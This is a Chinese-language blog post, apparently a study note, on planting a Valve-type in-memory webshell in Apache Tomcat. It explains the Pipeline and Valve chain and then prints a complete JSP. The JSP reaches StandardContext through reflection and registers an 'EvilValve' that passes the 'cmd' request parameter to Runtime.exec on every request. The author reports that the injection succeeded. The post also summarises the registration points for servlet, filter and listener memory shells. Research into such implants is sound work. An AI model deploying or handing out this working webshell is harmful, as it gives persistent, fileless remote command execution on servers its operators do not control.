内存马系列---Valve型

一.前置知识

之前了解学习到 tomcat 的 4 种包含关系的容器,它们分别是:Engine,Host,Context,Wrapper

每个 Tomcat 容器组件(Engine、Host、Context、Wrapper)都有一条自己的 Pipeline(管道),请求像水流一样依次经过管道(Pipeline)上的各个 Valve(阀门),最后被末端的基础 Valve 处理并返回响应。当 tomcat 接受请求时,connector 连接器进行解析,然后发送到 Container 进行处理。那么我们的消息又是怎么在四类子容器中层层传递,最终送到 Servlet 进行处理的呢?这里涉及到的机制就是如上所说的 Tomcat 管道机制。

**末端的基础 Valve: **这个 Valve 也被称之为 basic,它始终位于末端最后执行,它在业务上面的表现是封装了具体的请求处理和输出响应。

Pipeline 提供了 addValve 方法,可以添加新 Valve 在 basic 之前,并按照添加顺序执行。

那么也就和 filterChain 链一样了,能够进行添加修修改,在 Pipeline 种任意添加 Valve

原理如图:

典型调用流程:;

1
2
Connector -> Request -> Engine(Pipeline) -> Host(Pipeline) -> Context(Pipeline) -> Wrapper(Pipeline) -> Servlet

Engine、Host、Context、Wrapper 四个容器各自维护一个 StandardPipeline 实例,每个 Pipeline 的末端都有一个 Basic Valve,分别对应 StandardEngineValve、StandardHostValve、StandardContextValve 和 StandardWrapperValve。

二.分析

一个基础的 valve,然后用 addValve 将它添加进去

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
package valve;

import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.Response;
import org.apache.catalina.valves.ValveBase;

import javax.servlet.ServletException;
import java.io.IOException;

public class valve extends ValveBase {
@Override
public void invoke(Request request, Response response) throws IOException {
System.out.println("Valve 被成功调用");
}
}

Pipeline 实现类为 StandardPipeline,它无法直接获取,结合我们之前能获取到 standardContext 的经验,就去 StandardContext 里面看看有没有能获取到 StandardPipeline 的手段,注意到下图这个方法里有东西,跟进去看一下

返回一个 Pipeline 类对象,所以 standradContext.getPipeline 获取 StandardPipeline

所以攻击的思路就是:先获取 standardContext,调用 getPipeline()获取 StandardPipeline,然后调用 addValve 方法,将恶意 valve 注册进去。

三.构造

获取 standardContext

1
2
3
4
5
6
7
8
9
<%
ServletContext servletContext = request.getSession().getServletContext();
Field appContextField = servletContext.getClass().getDeclaredField("context");
appContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
%>

恶意类:

1
2
3
4
5
6
7
8
9
10
11
12
<%
class EvilValve extends ValveBase {

@Override
public void invoke(Request request, Response response) throws IOException {
System.out.println("111");
try {
Runtime.getRuntime().exec(request.getParameter("cmd"));
} catch (Exception e) {

} } }
%>

进行注册

1
2
3
4

standardContext.getPipeline().addValve(new EvilValve());
out.println("inject success");

完整:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<html>
<head>
<title>Title</title>
</head>
<body>
<%
class EvilValve extends ValveBase {

@Override
public void invoke(Request request, Response response) throws IOException {
System.out.println("111");
try {
Runtime.getRuntime().exec(request.getParameter("cmd"));
} catch (Exception e) {

} } }
%>

<%
ServletContext servletContext = request.getSession().getServletContext();
Field appContextField = servletContext.getClass().getDeclaredField("context");
appContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
standardContext.getPipeline().addValve(new EvilValve());
out.println("inject success");

%>

</body>
</html>

访问 addValve.jsp 后成功写入,之后访问任意路径,加上参数执行成功

四.加载小分析

小思考:valve 是在什么时候被加载的呢?
是从 context 中被加载的:

回看之前接收 http 请求后,来到的适配器方法这里,他首先获得的第一层容器是 Engine,如下图:

然后接着套娃般的一层一层的往里调用 invoke

对对对这里就是之前分析的时候遇到的很多 invoke,见下图,但是这里访问后调试到这里进入不去了,现在是在 context,getNext()获取的是 context 中 pipeline 的下一个 valve

总的来说 invoke 这里流程如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
访问

StandardEngineValve.invoke() // 看到的调用栈起点
↓ (this.getNext().invoke())
StandardHostValve.invoke()
↓ (this.getNext().invoke())
StandardContextValve.invoke() // ← 在这里
↓ (this.getNext().invoke())
↓ **这里返回的是 Context Pipeline 中的下一个 Valve**
↓ 如果注册了恶意 Valve,就是 MemValve.invoke()
↓ 如果恶意 Valve 没拦截,继续:
StandardContextValve.invoke() 方法尾部

wrapper.getPipeline().getFirst().invoke() // **显式调用 Wrapper**

StandardWrapperValve.invoke()

FilterChain.doFilter()

Servlet

五.小结

学习了四种类型的内存马,确实感觉越来越顺手了,要构造需要注意以下几点:

重点分析恶意类怎么注册进去的,了解加载恶意类的流程

其实从上面加载的东西,也能总结出来:

filter,valve 型,访问任意路径都会触发攻击

注册点:

serv let 核心逻辑是: 动态执行 configureContext 中的 Servlet 注册逻辑:,StandardContext.addchild()及路径的一些设置

filter 核心逻辑是:动态构造 FilterDef 和 FilterMap 对象,通过 StandardContext.addFilterDef()和 addFilterMap()完成注册。

listener 核心逻辑是:通过 StandardContext.addApplicationListener()或 addApplicationEventListener()动态注册 listener 实例。

valve: StandardContext.getPipeline.addValve()


内存马系列---Valve型
https://bxhhf.github.io/2025/12/07/yuque-hexo-post/内存马系列---Valve型/
作者
bxhhf
发布于
2025年12月7日
许可协议